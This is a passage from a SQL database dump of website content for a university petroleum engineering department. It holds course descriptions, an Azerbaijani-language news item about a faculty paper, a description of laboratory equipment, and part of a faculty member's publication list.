Topics courses. Contents vary from year to year according to\r\ninterest of students and instructor in charge. Courses include various\r\npetroleum engineering topics.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 582: Phase Behavior of Petroleum\r\nReservoir Fluids (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong>Prerequisite: PETE 540&nbsp;</strong></p>\r\n<p>Pressure-volume-temperature relationships for\r\nliquid and gas hydrocarbons. Laboratory results and empirical correlations.\r\nPhase behavior of field hydrocarbons with CO2, N2 and other cases.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 600: MS Thesis (24 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Scientific-research work. Individual\r\ninvestigation of the theme to be arranged with supervisor. The results of the\r\nwork should be presented in the form of thesis</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 607: Well Testing</em></strong><em>&nbsp;<strong>(8</strong></em><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 458</em></strong></p>\r\n<p>The theory and application of oil well\r\ntesting. Pressure buildup and flow test. Analysis of well tests in\r\nhydraulically fractured wells. Reservoir description using well tests, analysis\r\nof well tests in naturally fractured reservoirs. Injection well testing. Well\r\ntest design. Extensive review of technical papers.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 615:</em></strong><em>&nbsp;<strong>Water Drive Reservoir</strong>&nbsp;<strong>(8 </strong></em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 458</em></strong></p>\r\n<p>Hydrodynamic factor which influence\r\nunderground water movement, particularly with respect to petroleum reservoir.\r\nDesign, surveillance and project management of waterfloods in reservoirs.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 632:</em></strong><em>&nbsp;<strong>Carbon Dioxide Flooding</strong>.<strong>&nbsp;(8</strong></em><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 458</em></strong></p>\r\n<p>Overview of conventional and oil recovery\r\nmethods. Factors affecting displacement behavior. Principles of phase behavior\r\nand miscibility<strong>.&nbsp;</strong>Carbon dioxide process and sources. Assessment of\r\nprocess. Guideline for identifying reservoirs with carbon dioxide miscible\r\nflooding potential. Recovery prediction methods and model validation. Project\r\neconomics and design.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 642: Horizontal Well Technology (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 505, PETE 548</em></strong></p>\r\n<p>Horizontal Well Technology,&nbsp;including\r\nhorizontal drilling, horizontal well completion and stimulation, pumping and\r\nlift system, well testing, horizontal wells in waterflooding and enhanced oil\r\nrecovery, cost, economics, regulations, tax incentives.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 645: Special Topics in Petroleum\r\nEngineering (8</em></strong><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>This courses will be for technical elective\r\ncourses which are not listed regularly in the catalog. The course contents and\r\ncourse titles will be announced before the semester commences. Contents vary\r\nfrom year to year according to interest of students and instructor in charge.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 653: Modern Petroleum Production (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 548</em></strong></p>\r\n<p>An advanced treatment of modern petroleum\r\nproduction engineering encompassing well deliverability from vertical,\r\nhorizontal and multilateral (multi branch) wells; diagnosis of well performance\r\nincludes elements of well testing and production logging; the function of the\r\nproduction engineer is envisioned in the context of well design, stimulation\r\nand artificial lift.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 680:</em></strong><em>&nbsp;<strong>Advanced Studies in Petroleum\r\nEngineering (8</strong></em><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>These courses are not listed in the university\r\ncatalogue. Ph.D. students choose and study advanced courses under the guidance\r\nof a faculty members and supervisor.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE&nbsp;700: Ph. Dissertation (48 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Program of research leading to Ph.D. degree,\r\narranged between a student and the faculty member. Student register to this\r\ncourse in all semesters starting from the beginning of their second semester\r\nbut not later than the beginning of the third semester while the research\r\nprogram or write-up of the dissertation is in progress.</p>'),(3188,1880,'az','Dr. Moradinin məqaləsi “Mühəndislik Elmləri Beynəlxalq Jurnalı”nda çap olunacaq ','Xəzər Universitetinin Kimya mühəndisliyi departamentinin koordinatoru Dr. Rasoul Moradinin məqaləsi “İkinci Beynəlxalq Elmi Simpozumun materialları” toplusunda...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Xəzər\r\nUniversitetinin Kimya mühəndisliyi departamentinin koordinatoru&nbsp;Dr. Rasoul\r\nMoradinin məqaləsi “İkinci Beynəlxalq Elmi Simpozumun materialları” toplusunda\r\n(<a href=\"http://www.issnwsa.com/accepted-papers/\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media07444272014819298\" width=\"150\" height=\"100\">&nbsp;http://www.issnwsa.com/accepted-papers/</a>)&nbsp;və\r\n“Mühəndislik Elmləri Beynəlxalq Jurnalı”nda çap olunacaq. Qeyd edək ki,\r\n“Nanotexnologiyadan istifadə etməklə duzlardan təmizləmə üçün səth mühəndisliyi”\r\nadlı simpozium 2017-ci ilin sentyabrında Gürcüstanın Tbilisi şəhərində keçiriləcək.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white;box-sizing:border-box\"\"=\"\">Dr. Moradi Xəzər Universitetinə 2016-cı ilin sentyabrında Tehran\r\nUniversitetindən qonaq tədqiqatçı kimi &nbsp;qoşulmuşdur. O&nbsp;Tehran\r\nUniversitetində nanotexnologiya sahəsində tədqiqat aparmışdır. O, Xəzər\r\nUniversitetinin Kimya departamentində yaradılan nanotexnologiya üzrə tədqiqat\r\nqrupuna rəhbərlik edir. Yaxın gələcəkdə onun tədqiqatı kimya, mexanika mühəndisliyi\r\nvə biotexnologiya sahələrinə qədər genişləndiriləcək.</p>'),(433,275,'en','Research','','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">This department also includes research in different fields of Petroleum Engineering.</p><p><strong>Main directions of research activities are:</strong></p><p></p><ul><li>Exploration, Production and Reservoir Engineering</li><li>Enhanced Oil Recovery</li><li>Natural Gas Engineering</li><li>Non-Newtonian Systems Application in Petroleum Production</li><li>Petroleum Geoscience</li><li>Petrophysics</li><li>Other Areas</li></ul><p></p><p>Diverse academic disciplines of the department enable both research and training to be pursued in a multi-skill environment, which is essential to the modern oil and gas industry. The department has and will continue to pursue relevant research to meet the needs of the industry.</p><p>The Department has 2 laboratory and they are used for educational and research purposes:</p><p>1. Petroleum and gas engineering training and research laboratory</p><p>2. Oil and gas fields simulation laboratory</p><p>“Petroleum and gas engineering training and research laboratory” of the Department of Petroleum Engineering has well equipped with lab tools for teaching and learning of the fundamentals of Petroleum and Gas Engineering. They are also used for graduate, postgraduate research and industrial consultancy work. The laboratory was equipped with following equipments:</p><h3>CORE FLOOD SYSTEM</h3><p>A core flood system as the main part of the Petroleum Engineering training &amp; research laboratory is used in experiments related with education and research processes in Petroleum Engineering. It is a system in which a liquid flows through a core sample at controlled pressure and temperature conditions. Different flow parameters are measured and monitored. Several types of experiments such as conventional fluid injection, chemical flooding, MEOR and permeability measurement at reservoir conditions could be performed with this apparatus. This is consist of a core holder which encloses&nbsp;the core sample,&nbsp;and subjects it to simulated reservoir conditions. It allows rapid installation or removal of core samples.<br></p>  <img src=\"/files/petroleum_depart/1.png\" style=\"width:600px;height:425px;margin:7px;float:left\"><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><img src=\"/files/petroleum_depart/2.jpg\" style=\"width:600px;height:397px;margin:7px;float:left\"><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><h3>MANUAL SATURATOR</h3><p>The manual saturator permits to perform a sequence of vacuum and saturation cycles on plug size samples for laboratory researches on analysis of oil and gas reservoirs properties by students. The apparatus includes a plug sized core cell, a vacuum pump, a hand operated pressure pump, a saturant vacuum vessel and necessary hand operated valves and pipelines. As saturation of core plug are used water, brine, oil or other liquids for evaluation of reservoir porous media and its relative permeability.</p>  <img src=\"/files/petroleum_depart/3.png\" style=\"width:600px;height:444px;margin:7px;float:left\"><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><img src=\"/files/petroleum_depart/4.jpg\" style=\"float:left;width:600px;height:397px;margin:7px\"><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><h3>RECOMBINATION CELL APPARATUS</h3><p>This instrument composed of a high pressure and high temperature recombination cell in which oil and gas samples from well head separator are injected in a pre-defined volume, heated at a desired temperature and pressurized at pressure above the saturation pressure of the reservoir for few hours to give a homogenous mixture of the initial reservoir fluid. This lab instrument is used for fluid flow researches in different temperature and pressure conditions on development of oil and gas fields. The instrument comes with a recombination cell jacketed with a heating mantel for temperature control, two displacers and a manual pump. Recombination of separator or surface fluids to obtain recombined reservoir fluid.</p>  <img src=\"/files/petroleum_depart/5.0.JPG\" style=\"float:left;margin:7px;width:600px;height:289px\"><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><h3>HEAT EXCHANGER</h3><p>This unit consist of a heat exchanger with a transparent cylindrical shell which allows visualization of the inside construction of the exchangers. One fluid flows through the tubes and the other flows through the shell. The aim of this experiment is that students can calculate the overall heat transfer coefficient (U) for shell and tube heat exchangers and investigate the effect of liquid flow rate on it. Several ball valves are used to run the experiment in co current or counter current modes to let students compare these modes. Using these valves, the hot or cold liquid can also flow through the tubes or through the shell so that students can realize when the hot fluid flows through the tubes, the heat loss becomes less. Using 4 thermocouples measuring the inlet and outlet temperatures of the hot and cold liquid, the log mean temperature difference (LMTD) can be calculated for co-current and counter current flow</p><p>mode. There are two ball valves used to control the flow rate of the hot and cold liquid to investigate the effect of flow rate on overall heat transfer coefficient. The apparatus is mainly capable of performing different experiments at the thermal fluid condition:</p><p>1. Increasing Heat Exchanger performance</p><p>2. Study of heat transfer coefficient</p><p>3. Study of the fouling factor in Heat Exchanger</p>  <img src=\"/files/petroleum_depart/6.png\" style=\"width:600px;height:451px;margin:7px;float:left\"><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><h3>“Oil and Gas fields Simulation Laboratory”</h3><p>of the department of Petroleum Engineering was established in 2011. Software packages (MATLAB, Eclipse, Petrel, etc.) are used in Oil and Gas Fields Simulation Laboratory at Department of Petroleum Engineering for academic and research purposes. Software packages are used for reservoir simulation of oil and gas fields, enhanced oil recovery methods, petroleum production technology and etc. These software packages currently are implemented in practical/lab classes of major courses and in conducted research works.</p> <p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><img src=\"/files/petroleum_depart/7.jpg\" style=\"width:600px;height:405px;margin:7px;float:left\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:2.0pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;page-break-after:avoid;background:white\"\"=\"\"><br></p><p><strong>Petrel. Facies\r\nmodelling&nbsp;</strong></p>'),(434,276,'en','Publications','','<h3 style=\"color:#000000\">Gasham Zeynalov</h3><p><strong>1. </strong>Zeynalov, G., Alkhasli, S., &amp; Shahtakhtinskiy, A. (2017, November 1). Outcrop Analogue Study of Deformation Bands and Their Impact on Rock Properties of the Productive Series in South Caspian Basin. Onepetro, Society of Petroleum Engineers. doi:10.2118/189018-MS, 20 pages. <a href=\"https://www.onepetro.org/conference-paper/SPE-189018\">https://www.onepetro.org/conference-paper/SPE-189018</a>.</p><p><strong>2.&nbsp;</strong>Shahriyar Alkhasli, Gasham Zeynalov, Aydin Shachtachtinskiy. Evaluation Rock Properties of the Structurally Deformed Areas on Outcrop Analogues in Azerbaijan. 2017, Proceedings of AAPG /SEG International Conference &amp; Exhibition 15-18 October, 2014, London, England, UK, 10 pages</p><p><strong>3.</strong> Fawzi Al-Beyati, Muhammed Ismail, Gasham Zeynalov, 2017, Estimation original oil in place (OOIP) in the selected well from small giant Bai Hassan oil field, Northern Iraq case study, International Journal of Enhanced Research in Science, Technology &amp; Engineering, Volume 6, Issue 3, March, 2017, p. 20-28</p><p><strong>4. </strong>Fawzi Al-Beyati, Muhammed A. Ismail , Gasham Zeynalov, 2017, 3D Permeability distribution modeling from porosity wire line logs and irreducible water saturation graph a case study on small giant Bai Hassan oil fieldNorthern Iraq, International Journal of Enhanced Research in Science, Technology &amp; Engineering, Volume 6, Issue 1, January, 2017, p. 6-15</p><p><strong>5.</strong>&nbsp;Gasham Zeynalov, Muhammed A. Ismail, Fawzi Al-Beyati, 2016, Petrophysical Modeling of the Tertiary reservoirs in the small giant Bai Hassan oil field, Northern Iraq. International Journal of Enhanced Research in Science, Technology &amp; Engineering, Vol. 5, Issue 12, December, 2016, p.80-89&nbsp;</p><p><strong>6.&nbsp;</strong>Zeynalov, G.A., &amp; Askerova, R., 2014, Structural-geologic modeling and oil and gas bearing of the Lower Kura Basin, Azerbaijan, Abstracts book of the 8th International Symposium on Eastern Mediterranean Geology, 13- 17 October 2014, Mugla, Turkey, p.47-48</p><p><strong>7.&nbsp;</strong>Zeynalov G.A., 2014, Methodological-Education program on the Materials of Sciences course for BSc level, Publication of Khazar University, Baku, 11 pages.</p><p><strong>8.&nbsp;</strong>Zeynalov G.A., 2014, Methodological-Education program on the Termodynamis course for BSc level, Publication of Khazar University, Baku, 12 pages.</p><p><strong>9. </strong>Zeynalov, G.A., 2014. Characteristics of depositional environments and oil and gas content in western part of the South Caspian Basin, Azerbaijan. Abstracts Book of the 67th Geological Congress of Turkey, 14-18 April 2014, Congress Center of General Directorate of MTA/Ankara, pp. 338-341</p><p><strong>10.&nbsp;</strong>Kalkan, E., Nadaroglu, H., Chelebi, N. and Zeynalov, G., 2013, Use of Silica Fume for the Nickel Removal from Aqueous Solutions, Abstracts book of the 2nd Workshop on the Medical Geology, 4-6 December, 2013, Antalya, Turkey, pp-349-35</p><p><strong>11.</strong>&nbsp;Zeynalov, G.A., 2012. Petroleum Systems of the Kura Basin, Azerbaijan. Abstracts Book of the 65th Geological Congress of Turkey, 2-6 April 2012, Congress Center of General Directorate of MTA/Ankara, pp. 298-299</p><p><strong>12.&nbsp;</strong>M. Nemčok, A. A. Feyzullayev, F.A. Kadirov, G.A. Zeynalov, R. Allen, C. Christensen and B. Welker, 2011, Neotectonics of the Caucasus and Kura Valley, Azerbaijan, “Global Engineers and Technologist Review” journal , Vol.1,No 1, Malaysia, pp.1-14</p><p><strong>13.</strong>&nbsp;Tagiyev, M.F. and Zeynalov, G.A., 2010. On pyrolysis-based study of the efficiency of primarymigration of hydrocarbons from source rocks. Proceedings of SOCAR, No 2, 2010, pp. 16-19 (in Russian)</p><p><strong>14.&nbsp;</strong>Zeynalov, G.A., 2010. Oil and gas accumulation environments of the Kura Basin, concerning with geotectonic properties. Abstracts of the VII Azerbaijan International Geophysical Conference on the Enhancement of Efficiency of Geophysical Survey under Conditions of Active Geodynamic Processes in Case of South Caspian Basin, 11-13 May, 2010, Baku, Azerbaijan, p.93</p><p><strong>15. </strong>Kocharly, Sh.S., Ahmadov, A.M. &amp; Zeynalov G.A. 2009, Oil-gas bearing of the Suleyman-Akhtarma area, Azerbaijan. Geophysics News in Azerbaijan, No 1-2, 2009, pp.44-47 (in Azeri)</p><p><strong>16.</strong>&nbsp;Zeynalov, G.A., 2008. Fluid flow and sealing properties associated with active faults: KuraBasin, Azerbaijan. Extended Abstracts of EAGE &amp; AAPG International Conference on Petroleum Geology &amp; Hydrocarbon Potential, 6 - 8 October 2008, Baku Azerbaijan, pp.44-48</p><p><strong>17.&nbsp;</strong>Zeynalov, G.A., 2006, Structural-geologic evolution of the western flank of the South Caspian Basin. Extended Abstracts of the Second International Conference on Geodynamics of Oil and Gas Content of Basins, Moscow, Russia, pp.168-171 (in Russian)</p><p><strong>18.</strong>&nbsp;Zeynalov, G.A. and Frost, E.G., 2005. Geologic Risk and Seismic Hazard Assessment in the Southeastern Caucasus using remote sensing data. Proceedings of IAMG’05: GIS and Spatial Analysis, Toronto, Canada, Vol.1, pp.155-160</p><p><strong>19.&nbsp;</strong>Zeynalov, G.A. and Khanlarova Sh.H., 2005, Oil and gas prospective in southern-west flank structures of the Gabyrry- Ajinohur basin, Azerbaijan, Oil &amp; Gas, pp.17-22 (in azeri)</p><p><strong>20.</strong>&nbsp;Zeynalov G.A., 2005, Analysis of structural architectures of Garadagh field and implications to reservoir performance , Reports of GSRI, Azerbaijan, pp.21-24 (in Russian)</p><p><strong>21.</strong> 